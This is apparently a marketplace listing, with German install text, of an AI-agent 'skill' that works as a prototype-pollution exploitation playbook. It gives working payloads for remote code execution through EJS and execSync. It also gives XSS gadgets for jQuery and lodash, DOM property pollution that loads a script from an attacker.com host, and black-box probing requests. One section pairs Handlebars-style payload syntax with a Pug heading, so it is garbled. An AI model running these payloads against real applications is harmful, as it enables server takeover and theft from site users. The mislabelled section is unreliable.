Advanced prototype pollution playbook — server-side RCE, client-side gadgets, filter bypasses, and detection techniques. Companion to ../prototype-pollution/ for basics. Use when you've confirmed pollution and need to escalate to code execution or find framework-specific gadgets.
Standardmäßig ist der Prompt ausgewählt, der zuerst die Quelle prüft. Sie können zu einem direkten Befehl wechseln oder eine lokale Kopie herunterladen.
Quelldateien prüfen
Lesen Sie SKILL.md und alle von SkillsMP angezeigten Begleitdateien, bevor Sie sich für eine Installation entscheiden.
Mit Codex oder Claude installieren Kopieren Sie diesen Prompt, fügen Sie ihn in Codex, Claude oder einen anderen Assistant ein und lassen Sie die Skill-Seite prüfen und installieren.
Ein direkter Befehl überspringt den Prüf-Prompt. Prüfen Sie die Quelle, bevor Sie ihn ausführen.
Advanced prototype pollution playbook — server-side RCE, client-side gadgets, filter bypasses, and detection techniques. Companion to ../prototype-pollution/ for basics. Use when you've confirmed pollution and need to escalate to code execution or find framework-specific gadgets.
Load KNOWN_GADGETS.md for the comprehensive gadget table by framework/library with polluted properties, trigger conditions, impact, and affected versions.
EJS render() reads opts from object properties. Polluting outputFunctionName injects code into the compiled template function:
// Pollution payload:{"__proto__":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');s"}}// When EJS renders ANY template after pollution:// Compiled function includes: var x;process.mainModule.require('child_process').execSync('id');s = "";// → RCE
Detection: any EJS res.render() call after pollution triggers it.
1.3 Pug (formerly Jade)
Pug's compiler reads block from object properties:
{"__proto__":{"allowProtoMethodsByDefault":true,"allowProtoPropertiesByDefault":true}}// Then use {{#with this as |obj|}}{{obj.constructor.constructor "return process.mainModule.require('child_process').execSync('id')"}}{{/with}}
$.extend(true, {}, userInput) performs deep merge — classic PP sink.
After pollution, jQuery's HTML methods use polluted properties:
// Pollution:Object.prototype.innerHTML = '<img src=x onerror=alert(1)>';
// Trigger: any jQuery DOM manipulation that reads innerHTML from prototype
$('<div>').appendTo('body'); // may use polluted property
2.2 Lodash Gadgets
// Vulnerable functions (deep merge):
_.merge({}, userInput)
_.defaultsDeep({}, userInput)
_.set(obj, path, value) // if path is attacker-controlled// template() gadget:Object.prototype.sourceURL = '\u000ajavascript:alert(1)//';
_.template('hello')(); // sourceURL injected into Function constructor
2.3 Script Gadgets in Frameworks
"Script gadgets" are framework code paths that read from Object.prototype and perform dangerous operations:
Framework
Gadget Pattern
Polluted Property
Impact
jQuery
$.html(), element creation
innerHTML, src
XSS
Angular.js
$interpolate
__defineGetter__
XSS
Vue.js
Template compilation
template, render
XSS
Ember.js
Component rendering
Various view properties
XSS
Backbone.js
_.template
sourceURL
XSS
2.4 DOM Property Pollution
Object.prototype.src = 'https://attacker.com/evil.js';
Object.prototype.href = 'javascript:alert(1)';
Object.prototype.action = 'https://attacker.com/phish';
// Any dynamically created element may inherit these
3. DETECTION TECHNIQUES
3.1 Black-Box Server-Side Detection
Step 1: Inject and check
POST /api/endpoint
{"__proto__":{"polluted":"yes"}}
Then: GET /api/anything
Check if response contains "polluted" or behavior changes
Step 2: Error-based detection
{"__proto__":{"toString":1}}
→ If server crashes or returns 500, toString was overwritten
{"__proto__":{"valueOf":1}}
→ Same crash-based detection
Step 3: Response differential
{"__proto__":{"status":555}}
→ Check if HTTP status code changes to 555
{"__proto__":{"content-type":"text/plain"}}
→ Check if Content-Type header changes
3.2 Black-Box Client-Side Detection
// In browser console after interacting with the app:Object.prototype.testPollution// If returns a value → something polluted the prototype// Automated: override defineProperty to detect writesObject.defineProperty(Object.prototype, '__proto__', {
set: function(v) { console.trace('PP detected!', v); }
});
3.3 Automated Tools
Tool
Type
Purpose
PPScan
Burp Extension
Scans for server-side PP
server-side-prototype-pollution
Burp Extension (Gareth Heyes)
Advanced server-side PP detection with multiple techniques
